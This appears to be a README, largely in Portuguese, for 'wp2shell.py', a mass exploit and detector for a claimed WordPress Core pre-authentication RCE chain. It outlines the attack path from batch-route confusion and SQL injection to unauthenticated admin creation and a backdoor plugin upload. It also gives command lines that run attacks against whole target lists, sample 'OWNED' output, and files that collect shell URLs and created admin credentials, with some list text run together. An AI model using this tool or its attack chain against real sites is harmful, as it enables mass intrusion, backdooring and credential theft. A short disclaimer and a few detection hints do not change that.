
Python mass exploit and detector for the WordPress Core pre-auth RCE chain CVE-2026-63030 and CVE-2026-60137, chaining SQL injection into remote code execution.
WordPress Core Pre-Authentication RCE (mass exploit / detector)
Duas falhas encadeadas no núcleo do WordPress:
author__not_in da classe interna WP_Query./wp-json/batch/v1 dessincroniza as entradas do batch, fazendo uma requisição "cair" na rota seguinte.A cadeia converte a SQLi em RCE pré-autenticação:
route confusion /wp-json/batch/v1 ─► SQLi no author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin criado sem auth
▼
login → upload plugin backdoor → RCE
Fallbacks: INTO OUTFILE direto (FILE privilege) e extração cega de hash + crack.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — alvos com RCE (shell URL)admins.txt — admins criados sem sink de RCE (credenciais)exploit_log.txt — detalhe por alvoresults.csv — resumo (exit_code: 0=owned, 4=admin, 2=fail, 3=error)whl_page via SQLi) + slugs comuns├── wp2shell.py # exploit + detector
├── targets.txt # alvos (uma URL por linha)
├── owned.txt # RCE conseguido (auto-criado)
├── admins.txt # admins criados (auto-criado)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 e /?rest_route=/batch/v1wp-content/uploads/ e wp-content/plugins/ em busca de PHP suspeito| Attribute | Details |
|---|
| CVE ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Chain | wp2shell — pre-auth RCE |
| Severity | 🔴 CRITICAL (CVSS 9.8) |
| Target | WordPress Core (sem plugins) |
| Affected (RCE) | 6.9.0 – 6.9.4 e 7.0.0 – 7.0.1 |
| Affected (SQLi only) | 6.8.0 – 6.8.5 |
| Fixed | 6.8.6 / 6.9.5 / 7.0.2 (18/07/2026) |
| Authentication Required | None |
| Option | Description |
|---|
-l, --targets-file | Um alvo por linha (repetível, sem limite) |
-u, --target | Alvo único |
--cmd | Comando a executar no alvo |
--authorized | Obrigatório (ou WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Alvos em paralelo (1–32) |
--delay | SLEEP do timing/extração (2 = robusto) |
--rate | Requisições/s por alvo |
-k, --insecure | Ignora TLS |
--proxy | Proxy HTTP |
--wordlist / --password / --username | Fallback de credenciais |
--log / --owned / --results-csv | Ficheiros de saída |